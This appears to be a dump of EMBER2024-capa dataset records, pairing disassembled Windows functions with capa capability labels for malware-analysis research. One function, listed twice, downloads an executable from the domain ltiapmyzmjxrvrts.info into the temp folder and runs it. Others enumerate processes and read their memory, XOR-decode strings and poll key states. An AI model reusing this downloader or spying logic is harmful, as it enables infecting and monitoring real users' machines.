joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401209
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x401483
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.2494021519
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020ab]
mov r11, rax
lea rax, str.d7_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilPrintAsnAny
lea rax, [0x004020ad]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004020ca]
mov r11, rax
lea rax, str.da_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
call sub.snmpapi.dll_SnmpSvcGetUptime
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x401214
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x401483
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.2494021519
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020ab]
mov r11, rax
lea rax, str.d7_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilPrintAsnAny
lea rax, [0x004020ad]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004020ca]
mov r11, rax
lea rax, str.da_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
call sub.snmpapi.dll_SnmpSvcGetUptime
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x10000eae0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.10000cd9c
add rsp, 0x28
jmp 0x10000eaf8
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rdi
push r12
sub rsp, 0xb0
and dword [rsp + 0x20], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x100070088], rdi
jne 0x10002a18e
mov eax, dword [0x1000700c0]
cmp eax, 1
je 0x10002a1ad
mov eax, dword [0x1000700c0]
test eax, eax
jne 0x10002a1c4
mov dword [0x1000700c0], 1
lea r12, [0x100055140]
lea rdi, [0x100055128]
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], eax
cmp rdi, r12
jae 0x10000eb9c
test eax, eax
jne 0x10000eb9c
mov rcx, qword [rdi]
test rcx, rcx
je 0x10000eb91
call rcx
mov dword [rsp + 0x30], eax
add rdi, 8
mov qword [rsp + 0x38], rdi
jmp 0x10000eb7a
test eax, eax
jne 0x10002a1ba
mov eax, dword [0x1000700c0]
cmp eax, 1
jne 0x10000ebcc
lea rdx, [0x100055120]
lea rcx, [0x100054fc8]
call fcn.100121000
mov dword [0x1000700c0], 2
test esi, esi
jne 0x10000ebd9
xor eax, eax
xchg qword [0x100070088], rax
cmp qword [0x100071e50], 0
jne 0x10002a1d3
mov rax, qword [sym.imp.msvcrt.dll__acmdln]
mov rdi, qword [rax]
mov qword [rsp + 0x28], rdi
mov esi, dword [rsp + 0x20]
cmp byte [rdi], 0x20
jbe 0x10000ec23
cmp byte [rdi], 0x22
je 0x10002a22a
movzx ecx, byte [rdi]
call qword [sym.imp.msvcrt.dll__ismbblead]
test eax, eax
jne 0x10002a23c
inc rdi
mov qword [rsp + 0x28], rdi
jmp 0x10000ebfa
cmp byte [rdi], 0
je 0x10000ec2c
test esi, esi
jne 0x10000ebff
cmp byte [rdi], 0
je 0x10000ec40
cmp byte [rdi], 0x20
ja 0x10000ec40
inc rdi
mov qword [rsp + 0x28], rdi
jmp 0x10000ec2c
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rdi
xor edx, edx
lea rcx, [0x100000000]
call fcn.10000ec80
nop
jmp 0x10002a1fc
cmp rax, rdi
jne 0x10002a19d
mov esi, 1
jmp 0x10000eb3c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10000eb2b
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x10000eba4
mov eax, 0xff
jmp 0x10002a276
mov dword [0x10007261c], 1
jmp 0x10000eba4
lea rcx, [0x100071e50]
call fcn.100048bac
test eax, eax
je 0x10000ebe7
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x100071e50]
nop
jmp 0x10000ebe7
mov dword [0x100072618], eax
cmp dword [0x1000700a8], 0
jne 0x10002a213
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x10007261c], 0
jne 0x10002a228
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x100072618]
jmp 0x10002a276
xor eax, eax
test esi, esi
sete al
mov esi, eax
mov dword [rsp + 0x20], eax
jmp 0x10000ec08
inc rdi
mov qword [rsp + 0x28], rdi
jmp 0x10000ec19
lea r11, [rsp + 0xb0]
mov rsi, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop r12
ret
Function at 0x180001a80
Capabilities:
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x28
movabs rax, 0xfffffffffffffff
mov rsi, rcx
bsr rcx, rax
mov edi, 1
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x180001ab5
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x50], rbx
mov rbx, qword [rsi + 8]
or rax, rdi
bsr rcx, rax
mov r8, rbx
mov qword [rsp + 0x20], r14
inc ecx
shl rdi, cl
lea rcx, [rsi + 0x18]
lea rdx, [rdi + rdi]
call fcn.180001c30
lea rax, [rdi - 1]
mov qword [rsi + 0x38], rdi
mov qword [rsi + 0x30], rax
mov rax, qword [rsi + 8]
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x180001bf4
mov qword [rsp + 0x58], rbp
movabs rdi, 0x100000001b3
movabs rbp, 0xcbf29ce484222325
nop dword [rax + rax]
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rbp
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, qword [rsi + 0x30]
shl r11, 4
add r11, qword [rsi + 0x18]
mov r9, qword [r11]
cmp r9, rbx
jne 0x180001b6d
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x180001be3
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x180001baa
mov r10, qword [rdx]
cmp r10, rax
je 0x180001ba4
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x180001be3
cmp r9, rdx
je 0x180001bbf
nop
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x180001c05
cmp r9, rdx
jne 0x180001bb0
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
jne 0x180001b20
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x20]
add rsp, 0x28
pop rdi
pop rsi
ret
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x180001be3
Function at 0x1800091b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, dword [rcx + 0x10]
mov r10d, ecx
and r10d, 7
je 0x1800091e4
cmp ecx, r10d
jge 0x1800091d2
mov rcx, rbx
call fcn.180008980
mov eax, dword [rbx + 0x14]
mov ecx, r10d
shr eax, cl
sub dword [rbx + 0x10], r10d
mov ecx, dword [rbx + 0x10]
mov dword [rbx + 0x14], eax
xor r8d, r8d
mov eax, ecx
test ecx, ecx
jle 0x18000921e
mov ecx, dword [rbx + 0x14]
lea rdx, [rsp + 0x30]
movzx r9d, cl
nop dword [rax]
shr ecx, 8
inc r8d
mov byte [rdx], r9b
lea rdx, [rdx + 1]
sub eax, 8
mov dword [rbx + 0x14], ecx
movzx r9d, cl
test eax, eax
jg 0x180009200
mov dword [rbx + 0x10], eax
test eax, eax
jns 0x18000924d
mov edx, dword [0x1801eae94]
mov rax, qword gs:[0x58]
mov ecx, 0x28
mov rax, qword [rax + rdx*8]
lea rdx, str.zlib_corrupt
mov qword [rcx + rax], rdx
xor eax, eax
add rsp, 0x20
pop rbx
ret
movsxd rcx, r8d
cmp rcx, 4
jge 0x18000927f
mov r8, qword [rbx + 8]
mov rax, qword [rbx]
nop dword [rax]
cmp rax, r8
jb 0x180009269
xor dl, dl
jmp 0x180009272
movzx edx, byte [rax]
inc rax
mov qword [rbx], rax
mov byte [rsp + rcx + 0x30], dl
inc rcx
cmp rcx, 4
jl 0x180009260
movzx eax, byte [rsp + 0x30]
movzx r8d, byte [rsp + 0x31]
movzx ecx, byte [rsp + 0x33]
shl r8d, 8
add r8d, eax
shl ecx, 8
movzx eax, byte [rsp + 0x32]
add ecx, eax
mov eax, r8d
xor eax, 0xffff
cmp ecx, eax
jne 0x180009222
mov rcx, qword [rbx]
mov qword [rsp + 0x38], rdi
mov edi, r8d
add rcx, rdi
cmp rcx, qword [rbx + 8]
jbe 0x1800092f4
mov edx, dword [0x1801eae94]
mov rax, qword gs:[0x58]
mov ecx, 0x28
mov rax, qword [rax + rdx*8]
lea rdx, str.read_past_buffer
mov qword [rcx + rax], rdx
mov rdi, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov rdx, qword [rbx + 0x18]
lea rax, [r8 + rdx]
cmp rax, qword [rbx + 0x28]
jbe 0x18000930e
mov rcx, rbx
call fcn.180008ad0
test eax, eax
je 0x1800092e7
mov rdx, qword [rbx]
mov r8, rdi
mov rcx, qword [rbx + 0x18]
call sub.VCRUNTIME140.dll_memcpy
add qword [rbx], rdi
mov eax, 1
add qword [rbx + 0x18], rdi
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
Function at 0x180022be0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xc70
mov rax, qword [0x18015d870]
xor rax, rsp
mov qword [rsp + 0xc60], rax
mov rbx, rcx
mov qword [rsp + 0x58], rcx
xor edi, edi
lea rax, [rsp + 0x460]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rdi + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x180022ccc
mov r8d, 0x3ff
lea rdx, [rsp + 0x460]
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x180022c65
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.180022aa0
nop
mov r8d, 6
lea rdx, str.PainF
lea rcx, [rsp + 0x38]
call fcn.180022a00
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x38]
call fcn.1800014f0
jmp 0x180022cec
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
xor r8d, r8d
lea rdx, [0x18010dc9c]
mov rcx, rbx
call fcn.180022aa0
mov rax, rbx
mov rcx, qword [rsp + 0xc60]
xor rcx, rsp
call fcn.1800df090
mov rbx, qword [rsp + 0xc88]
add rsp, 0xc70
pop rdi
ret
Function at 0x180023190
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x2b0
mov rax, qword [0x18015d870]
xor rax, rsp
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x38], rsp
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x180023325
lea rdx, [0x18010df40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x180023325
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x48], rax
cmp rax, 0xffffffffffffffff
je 0x180023325
mov dword [rsp + 0x60], 0x238
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180023325
mov byte [rsp + 0x30], 0
xor esi, esi
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x2a0], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x34], eax
mov r8d, dword [rsp + 0x68]
cmp eax, r8d
jne 0x180023260
lea rdx, [0x1800232ea]
mov rcx, qword [rsp + 0x38]
call sub.VCRUNTIME140.dll__local_unwind
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x18002328b
lea rdx, [0x1800232ea]
mov rcx, qword [rsp + 0x38]
call sub.VCRUNTIME140.dll__local_unwind
mov qword [rsp + 0x20], rsi
mov r9d, 4
lea r8, [rsp + 0x2a0]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x1800232bf
lea rdx, [0x1800232ea]
mov rcx, qword [rsp + 0x38]
call sub.VCRUNTIME140.dll__local_unwind
mov eax, dword [rbx]
cmp dword [rsp + 0x2a0], eax
je 0x1800232e1
mov byte [rsp + 0x30], 1
lea rdx, [0x18002330e]
mov rcx, qword [rsp + 0x38]
call sub.VCRUNTIME140.dll__local_unwind
nop
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x18002330e
xor esi, esi
mov rbx, qword [rsp + 0x50]
mov eax, dword [rsp + 0x34]
jmp 0x180023245
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x18002331e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [rsp + 0x30]
jmp 0x180023327
xor al, al
mov rcx, qword [rsp + 0x2a8]
xor rcx, rsp
call fcn.1800df090
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x180023350
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x58
call fcn.180023190
test al, al
je 0x1800233cd
movdqa xmm0, xmmword [0x18012d3d0]
xor eax, eax
movdqa xmm1, xmmword [0x18012d3c0]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x40], 0xbe9ef4b1
movdqu xmmword [rsp + 0x30], xmm1
mov dword [rsp + 0x44], 0xb8b9a8be
mov dword [rsp + 0x48], 0x1009385
nop dword [rax]
nop word [rax + rax]
lea edx, [rax - 0x48]
xor byte [rsp + rax + 0x20], dl
inc rax
cmp rax, 0x2a
jb 0x1800233a0
mov rcx, qword [0x180177c20]
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x4b], 0
call fcn.18006c3c0
mov ecx, 0x1a4
int 0x29
add rsp, 0x58
ret
Function at 0x180023500
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
call fcn.180023660
mov rdi, rax
movabs r8, 0x100000001b3
movabs rax, 0xcbf29ce484222325
mov rcx, rbx
shr rcx, 8
movzx edx, cl
movzx ecx, bl
xor rcx, rax
mov rax, rbx
shr rax, 0x10
imul rcx, r8
xor rdx, rcx
movzx ecx, al
imul rdx, r8
mov rax, rbx
xor rdx, rcx
shr rax, 0x18
imul rdx, r8
movzx ecx, al
mov rax, rbx
xor rdx, rcx
shr rax, 0x20
imul rdx, r8
movzx ecx, al
mov rax, rbx
xor rdx, rcx
shr rax, 0x28
imul rdx, r8
movzx ecx, al
mov rax, rbx
xor rdx, rcx
shr rax, 0x30
imul rdx, r8
movzx ecx, al
mov rax, rbx
xor rdx, rcx
shr rax, 0x38
mov rcx, qword [rdi + 0x480]
imul rdx, r8
xor rdx, rax
imul rdx, r8
and rcx, rdx
mov rdx, qword [rdi + 0x458]
shl rcx, 4
add rcx, qword [rdi + 0x468]
mov rax, qword [rcx + 8]
cmp rax, rdx
je 0x1800235e6
mov rcx, qword [rcx]
cmp rbx, qword [rax + 0x10]
je 0x1800235e8
cmp rax, rcx
je 0x1800235e6
mov rax, qword [rax + 8]
cmp rbx, qword [rax + 0x10]
jne 0x1800235d5
jmp 0x1800235e8
xor eax, eax
test rax, rax
cmove rax, rdx
cmp rax, rdx
je 0x180023634
mov rdx, qword [rax + 0x18]
test rdx, rdx
je 0x18002362b
mov r8, qword [0x1801eaec8]
mov rcx, rdi
mov r8, qword [r8 + 0x40]
call fcn.1800d8cd0
mov rax, qword [0x1801eaec8]
mov rcx, rdi
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [rax + 0xf0]
lea rdx, str.Failed_to_find_handler_for_native__p
jmp 0x18002363b
lea rdx, str.Failed_to_find_current_hash_for_native__p
mov rcx, qword [0x180177c20]
mov r8, rbx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.18006c3c0
Function at 0x18002b470
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x28
test dl, dl
je 0x18002b66c
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x20], rdi
call fcn.180023660
xor edi, edi
movabs rsi, 0xd80958fc74e988a6
mov rcx, rsi
mov dword [rax + 8], edi
mov dword [rax + 0x18], edi
call fcn.180023500
call fcn.180023660
mov rcx, qword [rax]
mov ebx, dword [rcx]
call fcn.180023660
mov dword [rax + 8], edi
mov dword [rax + 0x18], edi
call fcn.180023660
mov edx, dword [rax + 8]
mov rcx, qword [rax + 0x10]
mov dword [rcx + rdx*8], ebx
inc dword [rax + 8]
call fcn.180023660
mov edx, dword [rax + 8]
mov rcx, qword [rax + 0x10]
mov dword [rcx + rdx*8], 0xa
inc dword [rax + 8]
call fcn.180023660
mov edx, dword [rax + 8]
mov rcx, qword [rax + 0x10]
mov dword [rcx + rdx*8], 0xa
inc dword [rax + 8]
call fcn.180023660
mov edx, dword [rax + 8]
mov rcx, qword [rax + 0x10]
mov dword [rcx + rdx*8], edi
inc dword [rax + 8]
call fcn.180023660
mov edx, dword [rax + 8]
mov rcx, qword [rax + 0x10]
mov dword [rcx + rdx*8], 1
inc dword [rax + 8]
call fcn.180023660
mov edx, dword [rax + 8]
mov rcx, qword [rax + 0x10]
mov dword [rcx + rdx*8], 1
inc dword [rax + 8]
call fcn.180023660
mov edx, dword [rax + 8]
mov rcx, qword [rax + 0x10]
mov dword [rcx + rdx*8], 1
movabs rcx, 0xae99fb955581844a
inc dword [rax + 8]
call fcn.180023500
call fcn.180023660
mov rbx, qword [0x180177c80]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rbx]
jne 0x18002b5a4
lea ecx, [rdi + 0x57]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x18002b5a4
call fcn.180023660
mov rcx, rsi
mov dword [rax + 8], edi
mov dword [rax + 0x18], edi
call fcn.180023500
call fcn.180023660
mov rbx, qword [0x180177c80]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rbx]
jne 0x18002b5e0
mov ecx, 0x53
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x18002b5e0
call fcn.180023660
mov rcx, rsi
mov dword [rax + 8], edi
mov dword [rax + 0x18], edi
call fcn.180023500
call fcn.180023660
mov rbx, qword [0x180177c80]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rbx]
jne 0x18002b61c
mov ecx, 0x41
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x18002b61c
call fcn.180023660
mov rcx, rsi
mov dword [rax + 8], edi
mov dword [rax + 0x18], edi
call fcn.180023500
call fcn.180023660
mov rbx, qword [0x180177c80]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rbx]
mov rbx, qword [rsp + 0x30]
jne 0x18002b65d
mov ecx, 0x44
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
bt ax, 0xf
jae 0x18002b65d
call fcn.180023660
mov rcx, rsi
mov dword [rax + 8], edi
mov dword [rax + 0x18], edi
call fcn.180023500
call fcn.180023660
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
ret